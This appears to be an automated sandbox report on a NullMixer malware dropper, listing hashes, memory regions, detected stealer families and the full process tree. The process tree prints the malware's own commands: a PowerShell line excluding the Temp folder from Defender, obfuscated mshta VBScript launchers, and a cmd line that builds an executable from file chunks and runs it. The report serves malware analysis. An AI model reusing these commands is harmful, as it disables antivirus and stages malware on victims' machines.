| SHA1 | cd4806d4b7889bf86e80b60e207fd78b32c8c841 |
| SHA256 | 7d7b882da2072450c3924d2b0cbc22e74d4155e8db6a9a14d4932ca5dadf8967 |
| SHA512 | 72c23216429adb6ee0ac52224ace136acedb5f7d4af9dac2bb557cda1843e5239480b97e4be86abc9654e8a273a3f69af36c7dd0500efd247ab3b0b678e7194d |
C:\Users\Admin\AppData\Local\Temp\7zS42A9D387\Sun07e3a022a8656c5ca.exe
| MD5 | b7ed5241d23ac01a2e531791d5130ca2 |
| SHA1 | 49df6413239d15e9464ed4d0d62e3d62064a45e9 |
| SHA256 | 98ac9097e514852804ca276aac3a319b07acf7219aef34e0d4fff6ea5b094436 |
| SHA512 | 1e4402c695a848bd62f172bd91eb3a4df8067c1fbc5f95dfd601d7a8c24ad81ac2e1f2e1280160087da8c8fbb72e957259661d759d8f7d9317cef3c64429a126 |
C:\Users\Admin\AppData\Local\Temp\7zS42A9D387\Sun07dc9d2dae027.exe
| MD5 | 69f0fe993f6e63c9e7a2b739ec956e82 |
| SHA1 | 6f9a1b7a9fceac26722da17e204f57a47d7b66a5 |
| SHA256 | ee4355899a94ed5b369d8a8851d52ef2286c01af577e70bc82f43a5f4716fb0b |
| SHA512 | 1f81e0b8c3a5748a2aa47e02f8b1c1fc09e8d81871a607a148343ac3c579b82685f41eddf2070976a31aabccef0e70303c05d30e0c78c287a5c478c886185b1a |
memory/2176-143-0x0000000000A10000-0x0000000000A82000-memory.dmp
memory/1016-144-0x0000000001AB0000-0x0000000001AD4000-memory.dmp
memory/1016-151-0x0000000003120000-0x0000000003142000-memory.dmp
memory/836-160-0x0000000000220000-0x0000000000228000-memory.dmp
memory/2244-161-0x0000000001320000-0x0000000001336000-memory.dmp
memory/2244-175-0x00000000003C0000-0x00000000003C6000-memory.dmp
memory/2524-180-0x0000000002180000-0x00000000022CC000-memory.dmp
memory/2896-181-0x0000000000400000-0x000000000051C000-memory.dmp
memory/2896-182-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2896-184-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2896-183-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2896-185-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2896-186-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/1760-187-0x0000000000400000-0x00000000016C7000-memory.dmp
memory/2180-190-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2180-192-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2180-198-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2180-200-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2180-197-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2180-196-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/2180-194-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2180-188-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1016-204-0x0000000000400000-0x00000000016E0000-memory.dmp
memory/2464-205-0x0000000000400000-0x00000000016E0000-memory.dmp
memory/2896-206-0x0000000000400000-0x000000000051C000-memory.dmp
memory/2896-207-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2896-210-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2896-213-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2896-212-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2896-214-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2524-215-0x0000000002730000-0x00000000027D5000-memory.dmp
memory/2524-216-0x00000000027E0000-0x0000000002872000-memory.dmp
memory/2524-219-0x00000000027E0000-0x0000000002872000-memory.dmp
memory/2524-220-0x00000000027E0000-0x0000000002872000-memory.dmp
memory/1876-221-0x0000000000A40000-0x0000000000B8C000-memory.dmp
memory/2524-222-0x0000000002180000-0x00000000022CC000-memory.dmp
memory/2464-224-0x0000000000400000-0x00000000016E0000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-22 09:48
Reported
2024-11-22 09:50
Platform
win10v2004-20241007-en
Max time kernel
106s
Max time network
120s
Command Line
Signatures
Detect Fabookie payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Fabookie
Fabookie family
GCleaner
Gcleaner family
NullMixer
Nullmixer family
OnlyLogger
Onlylogger family
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Redline family
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Sectoprat family
Socelars
Socelars family
Socelars payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
OnlyLogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
ASPack v2.12-2.42
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07cad998fb20a18.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\28bf29dd4aa031d8f0583b3ea8ad4fb4e67cfddec09957e7c4c423e3378b08db.exe | N/A |
Executes dropped EXE
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\setup_install.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
Reads user/profile data of web browsers
Drops Chrome extension
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hemlmgggokggmncimchkllhcjcaimcle\9.86.66_0\manifest.json | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07be2debb1a.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Looks up geolocation information via web service
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2148 set thread context of 3048 | N/A | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0794d0eebce1.exe | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0794d0eebce1.exe |
Browser Information Discovery
Enumerates physical storage devices
Program crash
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0794d0eebce1.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0752b359bd184a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\control.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07cad998fb20a18.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07e3a022a8656c5ca.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\28bf29dd4aa031d8f0583b3ea8ad4fb4e67cfddec09957e7c4c423e3378b08db.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0741b6b6c3.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0794d0eebce1.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun075246a0bffeab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07be2debb1a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07778dd9fc6d53.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\setup_install.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0741b6b6c3.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0741b6b6c3.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0741b6b6c3.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133767425487481042" | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\28bf29dd4aa031d8f0583b3ea8ad4fb4e67cfddec09957e7c4c423e3378b08db.exe
"C:\Users\Admin\AppData\Local\Temp\28bf29dd4aa031d8f0583b3ea8ad4fb4e67cfddec09957e7c4c423e3378b08db.exe"
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zSC793F447\setup_install.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0741b6b6c3.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0752b359bd184a.exe /mixone
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07be2debb1a.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07e3a022a8656c5ca.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun075246a0bffeab.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07778dd9fc6d53.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07fcb30681127.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07dc9d2dae027.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0750d1e499.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun0794d0eebce1.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun07cad998fb20a18.exe
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0741b6b6c3.exe
Sun0741b6b6c3.exe
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07e3a022a8656c5ca.exe
Sun07e3a022a8656c5ca.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2064 -ip 2064
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07be2debb1a.exe
Sun07be2debb1a.exe
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07dc9d2dae027.exe
Sun07dc9d2dae027.exe
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0794d0eebce1.exe
Sun0794d0eebce1.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0752b359bd184a.exe
Sun0752b359bd184a.exe /mixone
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0750d1e499.exe
Sun0750d1e499.exe
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07cad998fb20a18.exe
Sun07cad998fb20a18.exe
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07778dd9fc6d53.exe
Sun07778dd9fc6d53.exe
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun075246a0bffeab.exe
Sun075246a0bffeab.exe
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07fcb30681127.exe
Sun07fcb30681127.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2064 -s 580
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07cad998fb20a18.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07cad998fb20a18.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0794d0eebce1.exe
C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun0794d0eebce1.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 4884 -ip 4884
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4884 -s 356
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07cad998fb20a18.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC793F447\Sun07cad998fb20a18.exe") do taskkill /F -Im "%~NxU"
C:\Users\Admin\AppData\Local\Temp\09xU.exE
09xU.EXE -pPtzyIkqLZoCarb5ew
C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Sun07cad998fb20a18.exe"
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHO "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
C:\Windows\SysWOW64\control.exe
control .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1180 -ip 1180
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 620
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa1b98cc40,0x7ffa1b98cc4c,0x7ffa1b98cc58
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1180 -ip 1180
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 656
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1892,i,821041375272211868,13532565898663401530,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1888 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2116,i,821041375272211868,13532565898663401530,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2148 /prefetch:3
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2220,i,821041375272211868,13532565898663401530,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2228 /prefetch:8
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1180 -ip 1180
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 752
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3088,i,821041375272211868,13532565898663401530,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3108 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3116,i,821041375272211868,13532565898663401530,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3152 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4480,i,821041375272211868,13532565898663401530,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4496 /prefetch:1
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1180 -ip 1180
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1180 -s 800
